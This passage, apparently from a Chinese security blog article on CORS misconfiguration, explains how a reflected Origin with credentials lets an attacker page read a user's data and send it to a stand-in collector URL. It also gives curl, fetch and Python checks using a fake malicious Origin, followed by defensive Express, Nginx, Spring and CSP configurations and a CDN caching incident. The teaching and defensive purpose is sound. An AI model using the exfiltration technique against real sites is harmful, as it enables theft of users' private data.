https://nice-photo.example.com。目标服务器没有校验Origin直接反射Access-Control-Allow-Origin: https://nice-photo.example.com并附带了Access-Control-Allow-Credentials: true。浏览器对比当前页面的Origin和响应头的Allow-Origin发现完全匹配于是把响应数据交给JavaScript。攻击者页面里的脚本拿到JSON数据后在页面里偷偷构造一个img srchttps://nice-photo.example.com/collect?token...或者用fetch把数据发回自己的服务器一次数据窃取完成。整个过程中受害者没有任何感知目标服务器没有爆出任何异常日志因为请求确实是合法登录用户从正常浏览器发起的攻击者拿到的还是真实有效的业务数据。4.3 内网场景更隐蔽的扩展如果攻击者能把恶意HTML文件植入到受害者的内网环境——比如通过文件共享、邮件附件、工单系统附件——那么用file://协议打开时Origin为null如果服务器配置了Allow-Origin: null同样能读取内网Web应用的数据。还有一种常见的内网扩展路径攻击者先打下一台内网低权限机器然后在浏览器上下文里注入恶意页面脚本借助浏览器对内网应用的信任来实现横向数据窃取。这种场景下CORS漏洞往往成为从外网突破到内网数据的跳板。4.4 验证POC时的三个核心要点我自己测试CORS漏洞时一般分三步验证每一步都有明确的判定标准第一步用curl发送带Origin头的请求看响应头的Access-Control-Allow-Origin是否是请求Origin的原样反射。curl -s -D - -o /dev/null -H Origin: https://evil.example.com https://target/api/user/info第二步检查响应头是否同时包含Access-Control-Allow-Credentials: true。如果Allow-Origin反射的是完整URI而不是*且Credentials为true基本可以判定漏洞存在。第三步在浏览器里实际写一个跨域fetch带上credentials: include在开发者工具的Network面板看请求是否成功拿到数据。只有这一步通过才说明浏览器层面真的放行。第三步尤其关键——因为有些网关/反代会自动改写或剥离CORS头curl看到的字段和浏览器实际应用的策略可能不一致。5. 漏洞检测的方法矩阵从手工到半自动化确定了自己是不是踩了坑需要一个可靠的检测流程。我平时给客户做安全评审时会按这个顺序递进使用几种手段。5.1 手工检测curl和浏览器配合最轻量的方式就是curl但要注意两点一是因为预检请求和实际请求的CORS头可能不同所以GET和OPTIONS都要测二是要看服务端对不同Origin合法源、恶意源、null、空分别返回什么。列一组我常用的测试用例# 正常源 curl -s -I -H Origin: https://frontend.example.com https://api.example.com/data # 恶意源 curl -s -I -H Origin: https://evil.example.com https://api.example.com/data # 无Origin头 curl -s -I https://api.example.com/data # Origin为null curl -s -I -H Origin: null https://api.example.com/data判别标准恶意源请求返回的Allow-Origin和恶意源一致且允许凭证时直接判漏洞Allow-Origin返回null也需要关注无Origin头时如果也返回通配符*再看接口是否涉及敏感数据。5.2 浏览器开发者工具验证真实可达性curl只能证明响应头存在反射真正决定漏洞可利用性的是浏览器是否会放行数据给页面脚本。所以在curl确认反射之后我会开一个本地HTTP服务放一个临时测试页面页面里写fetch(https://api.example.com/data, { method: GET, credentials: include }).then(r r.text()).then(console.log);然后在浏览器里直接打开http://localhost:8080/test.html看Console有没有报CORS错误看的Network里请求有没有成功返回。这样做的好处是验证了从攻击者视角的完整链路坏处是如果目标接口有CSRF双重校验之类的附加防护这一步可能失败——但那只说明CORS不是唯一风险点不能说明反射配置是安全的。这里必须提一个实际工作里很常见的现象测试用的恶意Origin域名如果是公网可解析的可能会被目标企业的安全设备放行但如果测试页面开在file://环境Origin就是null很多反射配置会失灵。所以我一般会用两种Origin形态分别验证自定义域名和null。顺手还能看看服务器对Origin: null的响应头这正好覆盖了前面3.3节说的利用场景。5.3 半自动工具与扫描器OpenVAS等在拿到目标授权的前提下可以用线上工具和开源扫描器做批量探测。热搜词里提到的OpenVASOpen Vulnerability Assessment System属于偏传统的漏洞扫描器它的插件库里包含针对CORS配置的检测脚本但更偏被动检测——它不主动构造复杂的跨域环境主要结合响应的HTTP头特征去匹配规则所以结果仅供参考最终还是要回到浏览器验证这一步。适合做CORS专项测试的还有一个思路用Burp Suite的扩展比如你可以自己写一个简单的Python脚本批量发包检测。我更推荐在需要验证大量接口时写个小脚本一边扫一边把响应头里和CORS相关的字段全部抽出来import requests base_url https://api.example.com/{} headers { Origin: https://evil.example.com } paths [/user/info, /order/list, /file/upload, /health] for p in paths: try: r requests.get(base_url.format(p), headersheaders, timeout5) acao r.headers.get(Access-Control-Allow-Origin, ) acac r.headers.get(Access-Control-Allow-Credentials, ) if acao.strip() or acac.strip(): print(f[{p}] ACAO{acao} ACAC{acac}) except Exception as e: print(f[{p}] request failed: {e})这个脚本虽然粗暴但非常适合给部门做快速普查——一口气把所有接口的CORS头都拉出来人工再逐条评。实际抓过一次几十个接口的项目最后筛出三个存在反射Origin的接口效率比手工curl高得多。5.4 线上测试工具的使用分寸现在网上有不少CORS测试工具往输入框里填一个URL工具就会帮你发请求看响应头。这类工具适合初步摸底但有两个坑一是工具的节点不在你的浏览器环境里它测试的可达性不能等同于真实浏览器里的跨域行为二是如果你在输入框里填了内网地址实际上相当于把内部信息发给了第三方工具存在保密风险。所以我只在测完全没有敏感信息的外网公开API时才推荐用这种工具。6. 生产环境的防护配置实战从白名单到纵深防御这部分是写给开发和运维的。前面讲了不少漏洞场景现在给出一套可以直接落地的防护方案按边界清晰、策略收敛、纵深防御三个原则来组织。6.1 第一道防线精确白名单加三层约束安全做法是把允许的源集中到一个白名单里由服务端代码动态判断请求的Origin是否在名单中命中才返回对应的Origin否则完全不返回CORS头。下面是一个Node.js/Express风格的最小示例逻辑不依赖语言const allowedOrigins [ https://frontend.example.com, https://admin.example.com ]; app.use(/api, (req, res, next) { const origin req.headers.origin; if (origin allowedOrigins.includes(origin)) { res.setHeader(Access-Control-Allow-Origin, origin); res.setHeader(Vary, Origin); res.setHeader(Access-Control-Allow-Credentials, true); res.setHeader(Access-Control-Allow-Methods, GET, POST, OPTIONS); res.setHeader(Access-Control-Allow-Headers, req.headers[access-control-request-headers] || Content-Type, Authorization); res.setHeader(Access-Control-Max-Age, 600); } if (req.method OPTIONS) { return res.sendStatus(204); } next(); });这里的Vary: Origin非常关键。CDN和浏览器缓存如果不知道同一个URL的不同Origin返回了不同响应头就可能把带某个Origin的响应缓存下来发给另一个Origin的请求造成串数据。加了Vary: Origin就是在告诉缓存这个响应的内容取决于请求的Origin请分开缓存。6.2 服务器层配置Nginx与Spring的落地写法Nginx里可以通过map指令做白名单避免到处都是ifmap $http_origin $cors_origin { default ; ~^https://frontend\.example\.com$ $http_origin; ~^https://admin\.example\.com$ $http_origin; } server { listen 443 ssl; location /api/ { if ($request_method OPTIONS) { add_header Access-Control-Allow-Origin $cors_origin; add_header Access-Control-Allow-Methods GET, POST, OPTIONS; add_header Access-Control-Max-Age 600; return 204; } add_header Access-Control-Allow-Origin $cors_origin; add_header Vary Origin; add_header Access-Control-Allow-Credentials true; } }Spring Boot项目里官方推荐使用WebMvcConfigurer的addCorsMappings并且一定要指定allowedOrigins为精确列表Configuration public class CorsConfig implements WebMvcConfigurer { Override public void addCorsMappings(CorsRegistry registry) { registry.addMapping(/api/**) .allowedOrigins(https://frontend.example.com, https://admin.example.com) .allowedMethods(GET, POST, PUT, DELETE, OPTIONS) .allowCredentials(true) .maxAge(600); } }如果你用的是Spring Security还要额外配置cors()和csrf()的配合细节这里就不展开代码了。记住一条通用准则凡是手工写了反射Origin的地方都改成查白名单。6.3 会话认证与CORS的配合原则CORS漏洞之所以高危是因为它能利用浏览器的Cookie自动携带机制。所以做防护时优先考虑即使CORS被配置错了也无法被轻松利用这层纵深如果接口允许Cookie认证严格要求精确白名单永远关闭Allow-Origin: *。如果接口只面向第三方开放且不需要用户登录态干脆关闭Allow-Credentials并把Allow-Origin定为*——这种情况下客户端不需要带Cookie通配符是安全且合理的。但任何涉及用户个人数据的接口都不属于这一档。尽可能避免Cookie被自动携带到跨域请求里为关键接口设置SameSiteLax或Strict的Cookie策略同时把敏感接口升级为Bearer Token模式让请求必须通过JavaScript显式携带Authorization头。这里有个微妙点Bearer Token从localStorage里读取之后放进Authorization头跨域预检会被触发反而更容易被开发者发现但Token一旦被窃听或从存储里泄露就没有CSP来兜底了。所以要搭配下面这条。6.4 CSP作为纵深防御的补充不少人忽略了CSPContent-Security-Policy虽然是设计来防XSS的但它对CORS利用也有很好的牵制作用。攻击者窃取数据的步骤是页面脚本发起fetch 把结果外传如果他没法在你的页面里注入长期脚本利用链就断了一半。推荐在所有前端页面里配置Content-Security-Policy: default-src self; connect-src self https://api.example.com; img-src self data:; script-src self这段策略的含义是浏览器只允许向当前页面同源和api.example.com发起网络连接connect-src只允许执行本域名下的脚本。恶意页面注入的inline脚本会被直接拦截向攻击者服务器传数据的通道也会被切断。我在实际项目里让前端团队把CSP从仅default-src self升级到带connect-src白名单之后确实挡住了好几款测试工具的盲打。6.5 上线前的自检清单花五分钟排雷最后给一份检查清单建议挂在发布流程里全局搜索代码里是否存在反射Origin的写法req.headers.origin、request.getHeader(Origin)、$http_origin的未经白名单直接使用。检查Access-Control-Allow-Origin是否允许*或null如果有确认接口是否包含任何用户身份相关数据。检查Access-Control-Allow-Credentials是否只出现在精确Origin的响应上。核对是否配置了Vary: Origin防止CDN缓存串数据。用curl按第5节的方法至少测一个正常源和一个恶意源。在浏览器里用测试页面实际验证一次带凭证访问。7. 排错实录一次诡异的生产事故根因竟然是缓存这一节我额外分享一个真实排查经历因为它极其典型——症状、定位、根因三个方面都很有代表性。某个周五下午前端同事反馈线上接口偶发出现has been blocked by cors policy: response to preflight request doesnt pass access control check但奇怪的是同一个接口过几分钟自己又好了完全没有规律。一开始大家怀疑是网关偶发丢头后来在浏览器里反复刷新发现一个规律出错的时候响应头里的Access-Control-Allow-Origin指向的是一个完全无关的老域名。排查链路是这样的先看服务端日志确认服务端返回的CORS头一直是正常的白名单源。说明错不在业务服务。再在Nginx层抓包发现源站响应确实是正确头但客户端收到的却是错误头。矛头指向CDN。查CDN控制台发现这个域名的一个静态资源缓存规则把/api路径也包进去了缓存时长是10分钟且没有配置Vary: Origin。错乱来自上级节点缓存的具有不同CORS响应头的历史响应。修复方案CDN上把/api排除出静态缓存规则同时在服务端补上Vary: Origin头此后类似问题再没出现过。这个案例对所有人都有参考价值CORS配置错不一定是源服务器的锅中间任何一层反向代理、CDN、WAF都可能在改响应头。排查顺序应该从客户端取到的最终响应头逆着链路往上查而不是一上来就改后端代码。我自己后来定了一条铁律凡是涉及CORS的变更联调通过之后一定要在浏览器开发者工具里清掉缓存、强制刷新看最终网络面板里真实响应头才签字。——这条习惯帮我避了很多次雷。8. 把CORS安全变成团队日常而不是救火事件文章写到这份上最后想再说几句掏心窝的话。CORS问题在绝大多数团队里是被当成联调阻碍来处理而不是安全风险来对待的这是它反复出漏洞的根源。要改变这件事最有效的手段是把它前置到编码规范里而不是靠安全团队事后扫描。我见过一个做得很好的团队他们在接口设计评审里加了一条硬性要求所有后端接口的响应头里Access-Control-Allow-Origin必须能追溯到配置中心的某个白名单变量代码里不允许出现任何直接反射Origin的逻辑。就这一条他们后续一年多的安全测试再没出过CORS类的高危漏洞。如果你现在排查问题觉得一头雾水我强烈建议你按这个顺序做先把所有接口的CORS头扫出来对照本文的决策表做一遍体检再确认一下Cookie的SameSite属性最后把CDN和网关层的缓存配置捋一遍。做完这三步大部分坑都能填掉。CORS本身是一个很实用的机制它让Web应用可以安全地开放数据问题从来不在机制本身而在放权放得太随意。精确到源的放权、凭证和通配符绝对隔离、再加上Vary头和CSP这种纵深配置做好了这些你就能既享受跨域的便利又不给攻击者留缝隙。